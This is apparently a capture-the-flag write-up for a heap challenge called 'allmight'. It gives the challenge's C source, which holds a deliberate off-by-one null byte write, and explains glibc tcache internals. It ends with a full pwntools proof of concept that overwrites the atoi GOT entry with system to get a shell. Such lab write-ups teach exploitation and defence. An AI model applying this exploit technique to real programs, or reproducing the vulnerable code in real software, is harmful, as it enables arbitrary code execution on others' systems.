allmight [PWN]
Poison Null byte Bug Leading to Arbitrary Code Execution
Let`s read source code of Program
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
int heroes_skills_size[20]={ 0 };
int chairs[20]={ 0 };
char *heroes[20]={ 0 };
int number_heroes=0;
void menu(){
puts("1- Add hero to class");
puts("2- Edit hero's skill");
puts("3- Kick hero");
puts("4- Look into hero's skill");
puts("5- Exit");
write(1,"> ",2);
}
int read_int(){
char var[5];
int size;
read(0,var,4);
size = atoi(var);
return size;
}
void new_hero(){
if(number_heroes >= 20)
{
puts("Class is full :(");
return;
}
char var[20];
long long int size;
puts("Hero skill's description size:");
read(0,var,20);
size = atoll(var);
for(int i = 0 ; i<20 ; i++){
if(chairs[i] == 0){
heroes[i] = (char *)malloc(size);
chairs[i] = 1;
heroes_skills_size[i] = size;
printf("You got new hero at chair %d @ with location 0x%llx \n",i,heroes[i]);
number_heroes = number_heroes + 1 ;
break;
}
}
}
void edit_skill(){
char var[5];
int index;
puts("Hero chair index:");
read(0,var,4);
index = atoi(var);
if(index >=0 && index <=19){
if(chairs[index]){
puts("describe hero's skill:");
int string_length=read(0,heroes[index],heroes_skills_size[index]);
heroes[index][string_length]='\0';
}
}else{
puts("Chair is empty!");
return ;
}
}
void kick_hero(){
char var[5];
int index;
puts("Hero chair index:");
read(0,var,4);
index = atoi(var);
if(index >=0 && index <=19){
if(chairs[index] == 0){
puts("Chair is empty!");
return ;
}else{
free(heroes[index]);
chairs[index] = 0 ;
number_heroes = number_heroes - 1;
}
}else{
puts("Chair is in another classroom!");
return ;
}
}
void show_hero_skill(){
char var[5];
int index;
puts("Hero chair index:");
read(0,var,4);
index = atoi(var);
if(index >=0 && index <=19){
if(heroes[index]){
puts("skill description:");
write(1,heroes[index],heroes_skills_size[index]);
}
}else{
puts("Chair is empty!");
return ;
}
}
int diary(){
int choice;
puts("Welcome to boku no hero academia");
while(1){
menu();
choice = read_int();
switch(choice){
case 1:new_hero();break;
case 2:edit_skill();break;
case 3:kick_hero();break;
case 4:show_hero_skill();break;
case 5:return 0;
}
}
return 0;
}
int main(){
setvbuf(stderr, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
diary();
return 0;
}
//gcc -Wl,-z,norelro -o main task.c -no-pie
now the program create 4 global variables heroes_skills_size
saved chunk size after allocated
heroes variable used to save pointers to chunks when allocated them to edit and free and view this chunks
for example i created 4 chunks

new_hero()
function
new_hero()
functionvoid new_hero(){
if(number_heroes >= 20)
{
puts("Class is full :(");
return;
}
char var[20];
long long int size;
puts("Hero skill's description size:");
read(0,var,20);
size = atoll(var);
for(int i = 0 ; i<20 ; i++){
if(chairs[i] == 0){
heroes[i] = (char *)malloc(size);
chairs[i] = 1;
heroes_skills_size[i] = size;
printf("You got new hero at chair %d @ with location 0x%llx \n",i,heroes[i]);
number_heroes = number_heroes + 1 ;
break;
}
}
}
in line 2: it checks if we have created <= 20 heroes or not if we have created 20 heroes and we want to create the 21st hero it will print the error message
in line 9->11: It asks the user to enter the size of the chunk that we want to create
in line 15->18: Calls malloc() with the size we give it and allocates a chunk in a heap with that size and the size of that chunk will be saved in the heroes_skills_size
array
edit_skill() function
void edit_skill(){
char var[5];
int index;
puts("Hero chair index:");
read(0,var,4);
index = atoi(var);
if(index >=0 && index <=19){
if(chairs[index]){
puts("describe hero's skill:");
int string_length=read(0,heroes[index],heroes_skills_size[index]);
heroes[index][string_length]='\0';
}
}else{
puts("Chair is empty!");
return ;
}
}
in line 1->7: it asks the user to enter the index of chunk we want edit it, and checks if the index we give is a greater or equal number 0 and less or equal number 19.
in line 8->11: it checks if there chunk with this index and doesn't free'd yet, and if condition successful will calls read() function to take input from user and set null byte after input.
the line 11: there is Posion Null Byte Bug
for example we allocated two chunk first one with size 0x18 and the second with 0x110
and enter 0x18 byte of data for first chunk he will put \00 put in size field that's clear prev_inuse flag to 0 and subtract 0x10 bytes from the chunk size

we created two chunks here with size 0x18 & 0x108
now we enter 'A'*0x18 to first chunk will set \0 after 0x18 bytes

Look there it subtract 0x10 bytes from the size of second chunk, and clear prev_inuse flag

what's the fix for this bug ?
set the null byte in size-1 scrub one byte from the size of chunk to set null byte before size field of second chunk to avoid this bug
heroes[index][string_length-1]='\0';
now how i can exploit this bug ?
Leverage a null byte to create overlapping chunks that gave me user-after-free bug, which good primitive
kick_hero() Function
void kick_hero(){
char var[5];
int index;
puts("Hero chair index:");
read(0,var,4);
index = atoi(var);
if(index >=0 && index <=19){
if(chairs[index] == 0){
puts("Chair is empty!");
return ;
}else{
free(heroes[index]);
chairs[index] = 0 ;
number_heroes = number_heroes - 1;
}
}else{
puts("Chair is in another classroom!");
return ;
}
}
in line 2->7: it asks the user to enter the index of chunk we want edit it, and checks if the index we give is a greater or equal number 0 and less or equal number 19.
in line 8->15: it checks if there chunk with this index and checks if this chunk free'd or not and if condition successful will print error message and if condition not successful will free the chunk with this index and set chairs[chunk index] = 0 to avoid use-after-free and double free bug.
show_hero_skill() function
void show_hero_skill(){
char var[5];
int index;
puts("Hero chair index:");
read(0,var,4);
index = atoi(var);
if(index >=0 && index <=19){
if(heroes[index]){
puts("skill description:");
write(1,heroes[index],heroes_skills_size[index]);
}
}else{
puts("Chair is empty!");
return ;
}
}
in line 2->7: it asks the user to enter the index of chunk we want edit it, and checks if the index we give is a greater or equal number 0 and less or equal number 19.
in line 8->10: it checks if there chunk with this index or not that's a read-after-free bug here, and The data in this chunk will be printed.
Steps of Exploit
We need create 4 chunks, chunk A,Chunk B,Chunk C,guard against consolidation with the top chunk
put chunk B size before Chunk C prev_size a 24 bytes
free Chunk B
clear prev_inuse flag of Chunk B from Chunk A to subract 0x10 from Chunk B size
create 2 chunks to remaindering chunk B size = (Chunk B size - 0x18) / 2
free Chunk B1 and Chunk C to consolidation
allocate Chunk B1
allocate “New Chunk“ will put it in place of chunk_B2 which is still allocated, and edit Chunk B2 that’s gave me use-after-free primitive
Arbitrary Code Execution
Informations we need to know Before Create Exploit

RELRO: is not enable that's good
PIE: not enabled
And the program is compiled in ubuntu 18.04, make the glibc version of this program 2.27
after use Null Byte bug To Create overlapping Chunks to get use-after-free primitive we need launch Tcache Dup attack to Get Shell
Before i start i will explain What's Tcache ?
In GLIBC versions >= 2.26 each thread is allocated its own structure called a tcache, or thread cache.
The tcache bin is a singly linked list of free chunks. It follows a LIFO structure. There are tcache bins created for each chunk size (0x20, 0x30, 0x40, …), and each tcache bin has a maximum of 7 chunks that it can store.
A tcache behaves like an arena, but unlike normal arenas tcaches aren’t shared between threads.
They are created by allocating space on a heap belonging to their thread’s arena and are freed when the thread exits.
A tcache’s purpose is to relieve thread contention for malloc’s resources by giving each thread its own collection of chunks that aren’t shared with other threads using the same arena.
A tcache takes the form of a tcache_perthread_struct, shown below in image, which holds the head of 64 tcachebins preceded by an array of counters which record the number of free chunks in each tcachebin.

tcache unlike fastbin Doesn't have size field checks if free chunks that`s mean if you can modifie FD of free'd tcache chunk to any address in memory and allocate new chunk with same size of free'd chunk, it will not checks if the address you wrote in FD of free'd chunk he have size field or not.
If you allocate 8 chunks with the same size 0x40 and free it from 1 to 8 chunk number 8 it will go to fastbin not tcache because tcache is filled
the tcache limit size is 0x410 byte
Now We can start develop exploit for this bug
Exploit
1- Create 4 Chunks

2- put chunk B size before Chunk C prev_size a 24 bytes

we setup prev_size field before chunk_C a 0x18 bytes because when free Chunk_B and full Chunk_A With 0x18 of Data and put "00" in size field Of Chunk_B and subtract 0x10 bytes from the Chunk_B size, that's make me Bypass size vs. prev_size
check in glibc >= 2.26
3- Free Chunk B

after free Chunk B use read-after-free bug in view_hero_skill function to get main_arena address and calculate the difference to get libc Base Address

4- Overflow From Chunk_A To Chunk_B and put \00 in size field of chunk_B

now run the script and attach the process from gdb

after subtract 0x10 bytes from Chunk_B and put prev_size before chunk_C, malloc will think chunk_B+0x1000 bytes this prev_size of Chunk_C and tried update prev_size of Chunk_C after allocate two chunks in step 5 but is failed.
5- create 2 chunks to remaindering chunk B size = (Chunk B size - 0x18) / 2



1: malloc tried add new prev_size for Chunk_C but it is failed.
2: When allocating chunk_B1 before allocating chunk_B2 malloc tried to add prev_size 0x800 in Chunk_C but it is fails because after clear prev_inuse flag of Chunk B a chunk B appears 0x10 bytes smaller then real size
3: the size of Chunk_C if look there the prev_inuse flag is clear not set, that's means when free Chunk_C will be consolidate with Chunk_B2 even if it is not free'd .
4: prev_size which we added before for Chunk C.
6- free Chunk B1 and Chunk C to consolidating it backward with Chunk_B1 Over Chunk_B2
An Example From Other Challenge
after Free Chunk_B1 and Chunk_C

Chunk_B1 & Chunk_B2 & Chunk_C merged and become bigger chunk
that's make we allocating new chunk will set in Chunk_B2 place because malloc think it is free'd but isn't free'd yet
How can we benefit from that?
when you free "new chunk" will go to tcache bin and when edit Chunk_B2 you edit the "new chunk" FD
now let's free Chunk_B1 & Chunk_C
and attach the process from gdb

7- Allocate B1 To allocate B2 again

8- Allocate new chunk and free it to get use-after-free primitive




9- Arbitrary Code Execution
now to get shell in this binary we need make the FD of tcache chunk point to heroes
variable to make Chunk_A pointer point to atoi_got and put system() address in Chunk_A


continue

thank you for reading my writeup.
POC
from pwn import *
p = process("./main")
elf = ELF("./main")
libc = ELF("./libc.so.6")
context.arch = "amd64"
index = 0
def malloc(size):
global index
p.sendline(b'1')
p.recvuntil(b'size:\n')
p.sendline(bytes(str(size),encoding='utf-8'))
index += 1
return index - 1
p.recvuntil(b'> ')
def edit(idx,data):
p.sendline(b'2')
p.recvuntil(b'index:\n')
p.sendline(bytes(str(idx),encoding='utf-8'))
p.recvuntil(b'skill:\n')
p.send(data)
p.recvuntil(b'> ')
def free(idx):
global index
p.sendline(b'3')
p.recvuntil(b'index:\n')
p.sendline(bytes(str(idx),encoding='utf-8'))
def view(idx):
p.sendline(b'4')
p.recvuntil(b'index:\n')
p.sendline(bytes(str(idx),encoding='utf-8'))
p.recvuntil(b'description:\n')
heroes = 0x6015c0 # variable pointers of chunks
chunk_A = malloc(0x18) # Overflow from This Chunk to "Chunk_B"
chunk_B = malloc(0x1008) # Victim of the single null-byte overflow.
chunk_C = malloc(0x410) # Free this chunk to consolidate over the "chunk_B" chunk.
guard = malloc(0x18) # Guard against consolidation with the top chunk.
# setup prev_size for chunk_B to bypass size vs. prev_size check in glibc >= 2.26
edit(chunk_B,p8(0)*(0x1008-24) + p64(0x1000))
# Free chunk_B into unsortedbin
free(1)
# Leak main_arena address and calculate the difference between main_arena real address and main_arena in libc to get libc base address
view(chunk_B)
libc.address = u64(p.recvline()[0:8].strip(b'\n').ljust(8,b'\x00')) - 96 - libc.sym['main_arena']
success(f"libc.address: {hex(libc.address)}")
# Leverage a single null-byte overflow into the "chunk_B" chunk's size field to subtract 0x10 bytes from its size.
edit(chunk_A,p8(0)*0x18 + p8(0))
# Request 2 chunks in the space previously occupied by the "chunk_B" chunk: "chunk_B1" & "chunk_B2".
# The succeeding chunk's prev_size field is not updated because the "chunk_B" chunk appears 0x10 bytes smaller.
chunk_B1 = malloc(0x7f8)
chunk_B2 = malloc(0x7f8)
# Free Chunk_B1
free(1)
# and Chunk_C to consolidating it backward with "chunk_B1" over "chunk_B2".
free(chunk_C)
# =-=-=- Leverage a single null-byte overflow to Arbitrary Code Execution -=-=-=
# Request Chunk_B1 again , And Chunk_B2 still allocated.
malloc(0x7f8)
# Request a chunk from what remains of the "chunk_B" chunk.
tcache = malloc(0x50) # when allocate new chunk will be point to chunk B2 because he think is free but isn`t
# Free this chunk into the tcache; its fd overlaps the "chunk_B2" chunk, which is still allocated.
free(2)
edit(4,p64(heroes)) # Overwrite variable pointers of chunks and make first Chunk point to atoi_got function
malloc(0x50)
overlap = malloc(0x50)
# Edit Chunk_B2 that's mean you Edit tcache Chunk FD
edit(5,p64(elf.got['atoi']))
edit(chunk_A,p64(libc.sym['system'])) # Now First Chunk Pointer Point To atoi_got function that's means when you edit Chunk_A you edit atoi_got function
p.sendline(b'sh\x00')
p.clean()
p.interactive()
Last updated